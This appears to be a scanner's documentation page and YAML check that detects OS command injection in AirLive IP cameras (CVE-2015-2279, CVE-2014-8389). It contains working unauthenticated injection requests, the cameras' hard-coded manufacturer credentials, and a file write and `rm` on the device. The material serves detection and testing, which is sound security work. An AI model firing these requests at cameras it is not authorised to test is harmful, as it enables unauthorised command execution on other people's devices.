AirLive — 1 vulnerability check
noctis ships 1 vulnerability check for AirLive, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
AirLive IP camera cgi_test.cgi / wireless_mft OS command injection
| CVE | CVE-2015-2279, CVE-2014-8389 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/airlive/airlive-cgi-command-injection.yaml |
Detects the OS command injection in AirLive IP cameras (BU-2015, BU-3026, MD-3025, WL-2000CAM, POE-200CAM v2 and related firmware). The feed first sends an unauthenticated GET request to /cgi_test.cgi?write_tan&;<command> whose command prints NOCTIS followed by the difference of two random numbers, computed with `expr` and, when that gives no proof, with shell arithmetic in a second request, then with a short `id` command for firmware that truncates the value. When cgi_test.cgi does not answer with the computed value, the feed logs in to /cgi-bin/mft/wireless_mft with the camera's built-in manufacturing account and injects the same command through the `ap` parameter, redirected to a random-named file in the web root, then downloads that file and deletes it. The finding fires only when the computed difference (or the id output) comes back, which proves the camera ran the command. The probe is intrusive: the wireless_mft path briefly writes one small file on the device.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi_test.cgi?write_tan&;echo${IFS}NOCTIS`expr${IFS}{{p.a}}${IFS}-${IFS}{{p.b}}`;true… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi_test.cgi?write_tan&;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}));true&true HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi_test.cgi?write_tan&;id&id HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
cg1.bannerforNOCTIS[0-9]{6}→ finding QoD 97: AirLive cgi_test.cgi unauthenticated OS command injection - Checks
cg2.bannerforNOCTIS[0-9]{6}→ finding QoD 97: AirLive cgi_test.cgi unauthenticated OS command injection - Checks
cg3.bannerforuid=[0-9]+\([^)]*\) gid=[0-9]+→ finding QoD 97: AirLive cgi_test.cgi unauthenticated OS command injection - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/mft/wireless_mft?ap=testname;echo%20NOCTIS%60expr%20{{p.a}}%20-%20{{p.b}}%60… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /{{p.file}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/mft/wireless_mft?ap=testname;echo%20NOCTIS%24%28%28{{p.a}}-{{p.b}}%29%29%20>… - … and 4 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2015-2279
- https://nvd.nist.gov/vuln/detail/CVE-2014-8389
- https://www.coresecurity.com/advisories/airlive-multiple-products-os-command-injection
- http://seclists.org/fulldisclosure/2015/Jul/29
- https://www.exploit-db.com/exploits/37532/
Feed source — tests/vulnerabilities/airlive/airlive-cgi-command-injection.yaml
# AirLive IP cameras — cgi_test.cgi and wireless_mft OS command injection
# (CVE-2015-2279, CVE-2014-8389; Core Security advisory CORE-2015-0012)
#
# Ported from OpenVAS/Greenbone NASL 2015/gb_airlive_rce_07_15.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105315, GPL-2.0-only). The NASL:
# - MD-/BU- cameras: GET /cgi_test.cgi?write_tan&;id&id, match uid=..gid=..
# (CVE-2015-2279: the CGI builds "/opt/ipnc/info_writer -<x> <query rest>
# > /dev/null" with sprintf and runs it with system(); no authentication).
# - WL-/POE- cameras: GET /cgi-bin/mft/wireless_mft?ap=testname;/sbin/ifconfig
# 2>&1 > /web/html/<rand> with the hard-coded Basic credentials
# manufacture:erutcafunam (CVE-2014-8389), fetch /<rand>, match the ifconfig
# output, then rm the file.
#
# Better than the NASL:
# - Proof: instead of `id` / `ifconfig`, the injected command is
# `echo NOCTIS`expr a - b`` with two random 6-digit operands, then (only if
# that gave no proof) `echo NOCTIS$((a-b))` in a second request. The
# difference is never in the request, so a page reflecting the query (the
# CGI itself echoes "WRITE_TAN OK, PID=<query>") cannot match — only a shell
# that ran the command prints it. Two forms because old BusyBox msh lacks
# $((...)) and minimal BusyBox builds may lack expr; two requests because a
# shell rejecting $((...)) as a syntax error would void the whole line.
# Subtraction, not addition: a `+` would turn into a space wherever the
# query is form-decoded.
# - cgi_test.cgi does not URL-decode its query (the advisory's sample output
# shows "%20" reaching the shell verbatim), so spaces are written ${IFS};
# the echo is kept in the foreground (`;true&true` tail keeps the PoC's
# trailing "&" shape without backgrounding our command).
# - No banner pre-gate: the NASL exits unless the Server header says Boa and
# the banner names AirLive or an (MD|BU|WL|POE)- model, so it misses
# re-branded OEM builds of the same firmware and cameras behind a proxy;
# the arithmetic proof makes the gate unnecessary. Both CGIs are tried on
# every target (the NASL picks one from the banner model).
# - The wireless_mft probe writes a short random-named marker file under the
# web root and always removes it afterwards (as the NASL does).
# Raw tcp_connect so the query goes out exactly as written.
# CVSS 9.8 is the NVD v3.0 score of CVE-2015-2279.
uid: 75bc5794-1c54-4b41-8150-fb255dfb6ece
name: "AirLive IP camera cgi_test.cgi / wireless_mft OS command injection"
description: |
Detects the OS command injection in AirLive IP cameras (BU-2015, BU-3026,
MD-3025, WL-2000CAM, POE-200CAM v2 and related firmware). The feed first sends
an unauthenticated GET request to /cgi_test.cgi?write_tan&;<command> whose
command prints NOCTIS followed by the difference of two random numbers,
computed with `expr` and, when that gives no proof, with shell arithmetic in a
second request, then with a short `id` command for firmware that truncates
the value. When cgi_test.cgi does not answer with the computed value,
the feed logs in to /cgi-bin/mft/wireless_mft with the camera's built-in
manufacturing account and injects the same command through the `ap`
parameter, redirected to a random-named file in the web root, then downloads
that file and deletes it. The finding fires only when the computed difference
(or the id output) comes back, which proves the camera ran the command. The probe is intrusive:
the wireless_mft path briefly writes one small file on the device.
cves: [CVE-2015-2279, CVE-2014-8389]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [airlive, ip-camera, boa, rce, command-injection, hardcoded-credentials, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-2279"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-8389"
- "https://www.coresecurity.com/advisories/airlive-multiple-products-os-command-injection"
- "http://seclists.org/fulldisclosure/2015/Jul/29"
- "https://www.exploit-db.com/exploits/37532/"
- "OpenVAS/Greenbone NASL 2015/gb_airlive_rce_07_15.nasl (GPL-2.0-only)"
steps:
# Pre-initialise every stored result read by a condition.
- id: init-cg1
action: set_var
var_name: cg1
var_value: {connected: false, banner: ""}
- id: init-cg2
action: set_var
var_name: cg2
var_value: {connected: false, banner: ""}
- id: init-wr1
action: set_var
var_name: wr1
var_value: {connected: false, banner: ""}
- id: init-rd1
action: set_var
var_name: rd1
var_value: {connected: false, banner: ""}
- id: init-wr2
action: set_var
var_name: wr2
var_value: {connected: false, banner: ""}
- id: init-rd2
action: set_var
var_name: rd2
var_value: {connected: false, banner: ""}
- id: init-cg3
action: set_var
var_name: cg3
var_value: {connected: false, banner: ""}
# Random operands (only their difference, never sent, proves execution) and
# a per-run file name for the wireless_mft probe.
- id: build
action: script
store_as: p
code: |
let a = rand_int(800000, 999999);
let b = rand_int(100000, 299999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a - b),
file: "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4) }
# --- CVE-2015-2279: cgi_test.cgi, no authentication, output in the page ---
- id: cgi-expr
action: tcp_connect
port: "{{port}}"
send: "GET /cgi_test.cgi?write_tan&;echo${IFS}NOCTIS`expr${IFS}{{p.a}}${IFS}-${IFS}{{p.b}}`;true&true HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: cg1
- id: hit-cgi-expr
action: script
store_as: hit1
code: |
type_of(cg1.banner) == "string" && stridx(cg1.banner, p.marker) >= 0
- id: cgi-arith
action: tcp_connect
port: "{{port}}"
condition: "hit1 == false"
send: "GET /cgi_test.cgi?write_tan&;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}));true&true HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: cg2
- id: hit-cgi
action: script
store_as: hit2
code: |
hit1 || (type_of(cg2.banner) == "string" && stridx(cg2.banner, p.marker) >= 0)
# Short fallback: the advisory notes length checks and its own sample echoes
# a write_tan value cut to 10 characters, so firmware that truncates the
# value before system() would drop both long forms. `;id&id` (6 chars, the
# PoC shape) still fits; `uid=` never appears in the request, so a page
# reflecting the query cannot match. Read-only command.
- id: cgi-id
action: tcp_connect
port: "{{port}}"
condition: "hit2 == false"
send: "GET /cgi_test.cgi?write_tan&;id&id HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: cg3
- id: hit-cgi-id
action: script
store_as: hit4
code: |
hit2 || (type_of(cg3.banner) == "string" && ereg("uid=[0-9]+\\([^)]*\\) gid=[0-9]+", cg3.banner))
- id: confirm-cgi-expr
action: match
source: cg1.banner
pattern: "NOCTIS[0-9]{6}"
condition: "hit1 == true"
on_match:
finding:
title: "AirLive cgi_test.cgi unauthenticated OS command injection"
cves: [CVE-2015-2279]
confidence_delta: 0.65
qod: 97
evidence: "Unauthenticated GET /cgi_test.cgi?write_tan&;echo NOCTIS`expr {{p.a}} - {{p.b}}` returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: true
- id: confirm-cgi-arith
action: match
source: cg2.banner
pattern: "NOCTIS[0-9]{6}"
condition: "hit1 == false && hit2 == true"
on_match:
finding:
title: "AirLive cgi_test.cgi unauthenticated OS command injection"
cves: [CVE-2015-2279]
confidence_delta: 0.65
qod: 97
evidence: "Unauthenticated GET /cgi_test.cgi?write_tan&;echo NOCTIS$(({{p.a}}-{{p.b}})) returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: true
- id: confirm-cgi-id
action: match
source: cg3.banner
pattern: "uid=[0-9]+\\([^)]*\\) gid=[0-9]+"
condition: "hit2 == false && hit4 == true"
on_match:
finding:
title: "AirLive cgi_test.cgi unauthenticated OS command injection"
cves: [CVE-2015-2279]
confidence_delta: 0.65
qod: 97
evidence: "Unauthenticated GET /cgi_test.cgi?write_tan&;id&id returned the output of the id command at {{target_host}}:{{port}}"
stop: true
# --- CVE-2014-8389: wireless_mft with the hard-coded manufacture account ---
# Output is not in the page: redirect it to /web/html/<file>, fetch /<file>.
- id: mft-write-expr
action: tcp_connect
port: "{{port}}"
condition: "hit4 == false"
send: "GET /cgi-bin/mft/wireless_mft?ap=testname;echo%20NOCTIS%60expr%20{{p.a}}%20-%20{{p.b}}%60%20>%20/web/html/{{p.file}} HTTP/1.0\r\nHost: {{target_host}}\r\nAuthorization: Basic bWFudWZhY3R1cmU6ZXJ1dGNhZnVuYW0=\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: wr1
- id: mft-read-expr
action: tcp_connect
port: "{{port}}"
condition: "hit4 == false && wr1.connected == true"
send: "GET /{{p.file}} HTTP/1.0\r\nHost: {{target_host}}\r\nAuthorization: Basic bWFudWZhY3R1cmU6ZXJ1dGNhZnVuYW0=\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: rd1
- id: hit-mft-expr
action: script
store_as: hit3
code: |
type_of(rd1.banner) == "string" && stridx(rd1.banner, p.marker) >= 0
- id: mft-write-arith
action: tcp_connect
port: "{{port}}"
condition: "hit4 == false && hit3 == false && wr1.connected == true"
send: "GET /cgi-bin/mft/wireless_mft?ap=testname;echo%20NOCTIS%24%28%28{{p.a}}-{{p.b}}%29%29%20>%20/web/html/{{p.file}} HTTP/1.0\r\nHost: {{target_host}}\r\nAuthorization: Basic bWFudWZhY3R1cmU6ZXJ1dGNhZnVuYW0=\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: wr2
- id: mft-read-arith
action: tcp_connect
port: "{{port}}"
condition: "hit4 == false && hit3 == false && wr2.connected == true"
send: "GET /{{p.file}} HTTP/1.0\r\nHost: {{target_host}}\r\nAuthorization: Basic bWFudWZhY3R1cmU6ZXJ1dGNhZnVuYW0=\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: rd2
# Always remove the marker file once a write request went out.
- id: mft-cleanup
action: tcp_connect
port: "{{port}}"
condition: "hit4 == false && wr1.connected == true"
send: "GET /cgi-bin/mft/wireless_mft?ap=testname;rm%20-f%20/web/html/{{p.file}} HTTP/1.0\r\nHost: {{target_host}}\r\nAuthorization: Basic bWFudWZhY3R1cmU6ZXJ1dGNhZnVuYW0=\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: cleanup
- id: confirm-mft-expr
action: match
source: rd1.banner
pattern: "NOCTIS[0-9]{6}"
condition: "hit4 == false && hit3 == true"
on_match:
finding:
title: "AirLive wireless_mft OS command injection with hard-coded credentials"
cves: [CVE-2014-8389]
confidence_delta: 0.65
qod: 97
evidence: "GET /cgi-bin/mft/wireless_mft?ap=testname;echo NOCTIS`expr {{p.a}} - {{p.b}}` > /web/html/{{p.file}} with the hard-coded manufacture account wrote the shell-computed marker {{p.marker}}, read back from /{{p.file}} (removal requested) at {{target_host}}:{{port}}"
stop: true
- id: confirm-mft-arith
action: match
source: rd2.banner
pattern: "NOCTIS[0-9]{6}"
condition: "hit4 == false && hit3 == false && type_of(rd2.banner) == \"string\" && stridx(rd2.banner, p.marker) >= 0"
on_match:
finding:
title: "AirLive wireless_mft OS command injection with hard-coded credentials"
cves: [CVE-2014-8389]
confidence_delta: 0.65
qod: 97
evidence: "GET /cgi-bin/mft/wireless_mft?ap=testname;echo NOCTIS$(({{p.a}}-{{p.b}})) > /web/html/{{p.file}} with the hard-coded manufacture account wrote the shell-computed marker {{p.marker}}, read back from /{{p.file}} (removal requested) at {{target_host}}:{{port}}"
stop: true